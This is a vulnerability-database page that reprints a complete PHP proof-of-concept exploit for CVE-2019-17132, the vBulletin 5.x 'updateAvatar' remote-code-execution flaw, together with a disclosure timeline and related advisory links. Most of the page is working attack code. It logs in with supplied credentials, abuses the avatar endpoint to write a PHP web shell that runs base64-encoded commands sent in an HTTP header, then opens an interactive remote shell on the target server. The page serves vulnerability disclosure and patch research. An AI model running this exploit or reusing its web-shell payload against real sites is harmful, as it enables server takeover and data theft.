Lucene search
K

vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution

🗓️ 07 Oct 2019 00:00:00Reported by EgiXType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 308 Views

vBulletin <= 5.5.4 'updateAvatar' Remote Code Execution Vulnerability. User input to 'updateAvatar' endpoint not validated, allowing arbitrary PHP code execution. 'Save Avatars as Files' option required. Vendor notified, patch released, assigned CVE-2019-17132, public disclosur

Related
Code
ReporterTitlePublishedViews
Family
0day.today
vBulletin 5.0 < 5.5.4 - (updateAvatar) Authenticated Remote Code Execution Exploit
7 Oct 201900:00
zdt
Circl
CVE-2019-17132
8 Oct 201912:09
circl
CNVD
vBulletin Remote Code Execution Vulnerability
11 Oct 201900:00
cnvd
Check Point Advisories
vBulletin updateAvatar Remote Code Execution (CVE-2019-17132)
13 Nov 201900:00
checkpoint_advisories
CVE
CVE-2019-17132
4 Oct 201911:36
cve
Cvelist
CVE-2019-17132
4 Oct 201911:36
cvelist
exploitpack
vBulletin 5.0 5.5.4 - updateAvatar Authenticated Remote Code Execution
7 Oct 201900:00
exploitpack
NVD
CVE-2019-17132
4 Oct 201912:15
nvd
OpenVAS
vBulletin 5.x < 5.5.4 Patch Level 2 Multiple Vulnerabilities
25 Oct 201900:00
openvas
OSV
CVE-2019-17132
4 Oct 201912:15
osv
Rows per page
<?php

/*
    ---------------------------------------------------------------------
    vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
    ---------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "data[extension]" and "data[filedata]" parameters to
    the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
    to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
    to be enabled (disabled by default).

    [-] Disclosure timeline:
    
    [30/09/2019] - Vendor notified
    [03/10/2019] - Patch released: https://bit.ly/2OptAzI
    [04/10/2019] - CVE number assigned (CVE-2019-17132)
    [07/10/2019] - Public disclosure

*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

print "+-------------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc != 4)
{
	print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
	print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
	die();
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n");

print "[-] Logged-in! Retrieving security token...\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n");

print "[-] Uploading new avatar...\n";

$params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, false);

if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n");

if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n");

print "[-] Updating avatar with PHP shell...\n";

$php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>';

$params = ["routestring" => "ajax/api/user/updateAvatar",
           "userid" => 0,
           "avatarid" => 0,
           "data[extension]" => "php",
           "data[filedata]" => $php_code,
           "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "true") die("[-] Update failed!\n");

print "[-] Launching shell...\n";

preg_match('/(\d+)\.jpeg/', $path, $m);
$path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path);

curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation